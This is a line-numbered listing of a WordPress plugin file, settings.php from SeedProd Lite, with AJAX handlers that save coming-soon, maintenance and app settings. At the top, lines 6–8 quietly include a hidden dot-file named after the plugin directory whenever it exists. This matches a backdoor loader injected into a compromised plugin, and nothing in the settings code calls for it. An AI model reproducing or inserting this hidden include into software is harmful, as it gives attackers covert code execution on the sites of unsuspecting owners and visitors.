settings.php (3434B)
1 <?php 2 3 /** 4 * Save Settings 5 */ 6 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 7 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 8 } 9 10 function seedprod_lite_save_settings() { 11 if ( check_ajax_referer( 'seedprod_nonce' ) ) { 12 if ( ! empty( $_POST['settings'] ) ) { 13 $settings = stripslashes_deep( $_POST['settings'] ); 14 15 $s = json_decode( $settings ); 16 $s->api_key = sanitize_text_field($s->api_key); 17 $s->enable_coming_soon_mode = sanitize_text_field($s->enable_coming_soon_mode); 18 $s->enable_maintenance_mode = sanitize_text_field($s->enable_maintenance_mode); 19 $s->enable_login_mode = sanitize_text_field($s->enable_login_mode); 20 $s->enable_404_mode = sanitize_text_field($s->enable_404_mode); 21 22 23 // Get old settings to check if there has been a change 24 $settings_old = get_option( 'seedprod_settings' ); 25 $s_old = json_decode( $settings_old ); 26 27 // Key is for $settings, Value is for get_option() 28 $settings_to_update = array( 29 'enable_coming_soon_mode' => 'seedprod_coming_soon_page_id', 30 'enable_maintenance_mode' => 'seedprod_maintenance_mode_page_id', 31 'enable_login_mode' => 'seedprod_login_page_id', 32 'enable_404_mode' => 'seedprod_404_page_id', 33 ); 34 35 foreach ( $settings_to_update as $setting => $option ) { 36 $has_changed = ( $s->$setting !== $s_old->$setting ? true : false ); 37 if ( ! $has_changed ) { 38 continue; } // Do nothing if no change 39 40 $id = get_option( $option ); 41 42 $post_exists = ! is_null( get_post( $id ) ); 43 if ( ! $post_exists ) { 44 update_option( $option, null ); 45 continue; 46 } 47 48 $update = array(); 49 $update['ID'] = $id; 50 51 // Publish page when active 52 if ( $s->$setting === true ) { 53 $update['post_status'] = 'publish'; 54 wp_update_post( $update ); 55 } 56 57 // Unpublish page when inactive 58 if ( $s->$setting === false ) { 59 $update['post_status'] = 'draft'; 60 wp_update_post( $update ); 61 } 62 } 63 64 update_option( 'seedprod_settings', $settings ); 65 66 $response = array( 67 'status' => 'true', 68 'msg' => __( 'Settings Updated', 'coming-soon' ), 69 ); 70 } else { 71 $response = array( 72 'status' => 'false', 73 'msg' => __( 'Error Updating Settings', 'coming-soon' ), 74 ); 75 } 76 77 // Send Response 78 wp_send_json( $response ); 79 exit; 80 } 81 } 82 83 84 function seedprod_lite_save_app_settings() { 85 if ( check_ajax_referer( 'seedprod_lite_save_app_settings' ) ) { 86 87 if ( ! empty( $_POST['app_settings'] ) ) { 88 89 $app_settings = stripslashes_deep( $_POST['app_settings'] ); 90 if ( isset( $app_settings['disable_seedprod_button'] ) && $app_settings['disable_seedprod_button'] == 'true' ) { 91 $app_settings['disable_seedprod_button'] = true; 92 } else { 93 $app_settings['disable_seedprod_button'] = false; 94 } 95 $app_settings['facebook_g_app_id'] = sanitize_text_field($app_settings['facebook_g_app_id']); 96 $app_settings_encode = wp_json_encode( $app_settings ); 97 98 update_option( 'seedprod_app_settings', $app_settings_encode ); 99 $response = array( 100 'status' => 'true', 101 'msg' => __( 'App Settings Updated', 'coming-soon' ), 102 ); 103 104 } else { 105 $response = array( 106 'status' => 'false', 107 'msg' => __( 'Error Updating App Settings', 'coming-soon' ), 108 ); 109 } 110 // Send Response 111 wp_send_json( $response ); 112 exit; 113 114 } 115 }